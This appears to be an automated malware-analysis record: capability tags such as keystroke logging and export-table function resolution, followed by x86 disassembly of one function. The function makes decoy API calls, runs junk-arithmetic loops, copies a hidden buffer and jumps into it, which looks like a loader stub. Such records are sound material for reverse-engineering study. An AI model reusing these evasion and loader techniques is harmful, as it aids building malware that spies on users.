Function at 0x4035e0
Capabilities:
Delete directory
Get common file path
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports
Suspend thread
Write file on windows

Disassembly:
mov eax, 0x10ac
call fcn.0040d4d0
cmp dword [0xa6c514], 0xac
push ebx
push ebp
push esi
push edi
jne 0x403705
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0x402d84
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ModifyMenuA]
push 0
lea eax, [esp + 0xbc]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea edx, [esp + 0x4bc]
push edx
push 0x402dac
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x1c]
call fcn.00403ed1
lea ecx, [esp + 0x1c]
call fcn.00403f35
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x1c], 0x402dc4
call fcn.00403ee2
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x402eb4
call fcn.00403f35
push 0
call fcn.00403fe8
push 0
push 0
call fcn.00404202
push 0
call fcn.00403fb9
push 0
push 0
call fcn.00403fcf
push 0
push 0
call fcn.00403ff3
push 0
call fcn.00404125
add esp, 0x24
add dword [0xa6c514], 0x11b1b
call fcn.00403500
call fcn.00403520
xor esi, esi
cmp dword [0xa6c514], esi
jbe 0x403776
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
nop
mov ecx, dword [0xa6de1c]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0xa6c484]
mov byte [eax + esi], dl
cmp dword [0xa6c514], 0xa8
jne 0x40376d
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea ecx, [esp + 0x8bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc esi
cmp esi, dword [0xa6c514]
jb 0x403730
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindResourceA]
xor eax, eax
mov dword [esp + 0x14], eax
mov edx, dword [0xa6c514]
add edx, eax
cmp edx, 0xe
jne 0x40382a
push 0
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
call esi
push 0x402dd4
call edi
push 0
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea ecx, [esp + 0xb8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402df8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x8c0]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x14], eax
jl 0x403794
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
jmp 0x403850
push 0
push 0
push 0
push 0
call edi
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403850
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f9c7
jge 0x403c72
mov dword [esp + 0x68], 0x2b23e75a
mov dword [esp + 0x14], 0x4cde8ddd
mov dword [esp + 0x88], 0x5fd7b9a9
mov dword [esp + 0x44], 0x36fee2ef
mov dword [esp + 0x80], 0x7ea82ce
mov dword [esp + 0x3c], 0x7e9e0a9d
mov dword [esp + 0x38], 0x4e9d61c0
mov dword [esp + 0x84], 0x35f910ef
mov dword [esp + 0x78], 0x1b1f4c31
mov dword [esp + 0x18], 0x3ac9bbf8
mov dword [esp + 0x54], 0x7a15913f
mov dword [esp + 0x7c], 0x62549a1c
mov dword [esp + 0x58], 0x2a24477f
mov dword [esp + 0x90], 0x1201f2d6
mov dword [esp + 0x30], 0x71b2ec6
mov dword [esp + 0x74], 0x480e8347
mov dword [esp + 0x40], 0x7e45e7b5
mov dword [esp + 0x64], 0x66ee9337
mov dword [esp + 0x70], 0x37beb127
mov dword [esp + 0x94], 0x5f430172
mov dword [esp + 0x2c], 0x3ef75990
mov dword [esp + 0x34], 0x17d97796
mov dword [esp + 0x48], 0x671b5d09
mov dword [esp + 0x1c], 0x12f2d2f6
mov dword [esp + 0x4c], 0x2e853ae6
mov dword [esp + 0x8c], 0x52c4b444
mov dword [esp + 0x60], 0x46a518f9
mov dword [esp + 0x50], 0x35125e2b
mov dword [esp + 0x28], 0x1ad10849
mov dword [esp + 0x6c], 0x381ee696
mov dword [esp + 0x5c], 0xe11e6c2
add dword [esp + 0x68], 0x733a01c6
sub dword [esp + 0x68], 0x28e1ea4c
sub dword [esp + 0x68], 0x77f8656a
add dword [esp + 0x68], 0x1b0fc675
add dword [esp + 0x68], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x68], 0x65e693b6
add dword [esp + 0x68], 0x21e4e8db
sub dword [esp + 0x68], 0x1f11c09d
add dword [esp + 0x68], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0x68], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x32e9610c
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x68], 0x1af62962
sub dword [esp + 0x88], 0x59def22
sub dword [esp + 0x68], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x14], 0x42b3cadb
add dword [esp + 0x38], 0x4aa37306
add dword [esp + 0x80], 0x56582517
sub dword [esp + 0x68], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x80], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x80], 0x2375764f
add dword [esp + 0x38], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x6f46e2ce
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x6e95728b
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x45b8ee68
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x44], 0x61944033
sub dword [esp + 0x38], 0x14d29531
add dword [esp + 0x38], 0x45e7e617
add dword [esp + 0x84], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x38], 0x5f1fe643
sub dword [esp + 0x90], 0x7327cae6
add dword [esp + 0x74], 0x162a0206
add dword [esp + 0x18], 0x23b42ea1
add dword [esp + 0x64], 0x3b768056
sub dword [esp + 0x64], 0xf6d96df
sub dword [esp + 0x44], 0x259fb309
add dword [esp + 0x3c], 0x2f9e05b4
add dword [esp + 0x44], 0x61dc3320
add dword [esp + 0x54], 0x799a2ec5
add dword [esp + 0x38], 0x893cbaa
add dword [esp + 0x90], 0x15ff780
sub dword [esp + 0x90], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x13340774
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x45badb7d
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0x40], 0x3ddb5118
sub dword [esp + 0x14], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
sub dword [esp + 0x54], 0x4446398f
add dword [esp + 0x64], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x80], 0x410a050d
sub dword [esp + 0x34], 0x2588952e
add dword [esp + 0x90], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x1856fc37
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x14c6a33a
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x451f6ebe
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x45dccc0a
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x74f05f91
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x63b4dc15
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x58], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x403c87
inc esi
cmp esi, 0x19be898c
jl 0x403872
call fcn.004033a0
call fcn.004034e0
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov ebp, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [esp + 0x14], 0x7b
cmp dword [0xa6c514], 0x86
jne 0x403cec
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x1c]
push eax
push 0
call ebp
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
sub dword [esp + 0x14], 1
jne 0x403cb1
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebp, dword [sym.imp.KERNEL32.dll_Beep]
mov dword [esp + 0x14], 0x180ef
cmp dword [0xa6c514], 0x1f
jne 0x403d79
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
lea edx, [esp + 0x4c4]
push edx
push 0
call esi
push 0
lea eax, [esp + 0xbc]
push eax
call edi
lea ecx, [esp + 0x98]
push ecx
call ebx
push 0
push 0
call ebp
push 0
lea edx, [esp + 0x8bc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
sub dword [esp + 0x14], 1
jne 0x403d13
call fcn.004030b0
mov eax, dword [0xa6c484]
mov dword [0xa6c508], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10ac
jmp eax